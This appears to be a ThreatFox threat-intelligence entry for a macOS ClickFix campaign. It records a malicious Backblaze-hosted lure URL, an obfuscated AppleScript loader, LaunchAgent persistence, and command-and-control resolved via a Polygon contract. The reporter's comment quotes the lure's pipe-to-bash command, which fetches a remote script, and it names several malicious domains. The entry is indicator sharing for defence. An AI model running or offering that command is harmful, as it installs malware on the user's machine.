ThreatFox IOC Database

You are viewing the ThreatFox database entry for url https://secure-node-protection04.s3.us-west-004.backblazeb2.com/beacon1.html.

Database Entry

IOC ID:	1961241
IOC:	https://secure-node-protection04.s3.us-west-004.backblazeb2.com/beacon1.html
IOC Type :	url
Threat Type :	payload_delivery
Malware:	Unknown Loader
Confidence Level :	Confidence level is high (100%)
Is compromised? :	False
ASN:	AS40401 BACKBLAZE
Country:	US
First seen:	2026-10-12 06:11:14 UTC
Last seen:	2026-10-12 07:30:52 UTC
UUID:	51dca68b-c5e8-11f1-bd13-42010aa4000a
Reporter	Anonymous
Reward	5 credits from ThreatFox
Tags:	applescript ClickFix etherhiding macOS Polygon
Reference:	https://polygonscan.com/address/0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0

Anonymous

update.sh = obfuscated AppleScript loader (base64 -> osascript), SHA-256 37347580662ae59f7d5b4517475c557261e6be1ee4d6f6babe854b0d91ffe83c. It installs ~/Library/LaunchAgents/com.Apple.fzylihcshhojvmnr.plist (RunAtLoad, KeepAlive) and resolves its C2 via Polygon contract 0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0. The pages.dev and backblazeb2 URLs are ClickFix lures that copy `curl -s 'https://s1w21.comen.store/update.sh' | bash` to the clipboard. ardinova.digital and studiowaterarts.com are cloaking/TDS hops (Adscore bot checks, residential-IP only). Observed 2026-10-12.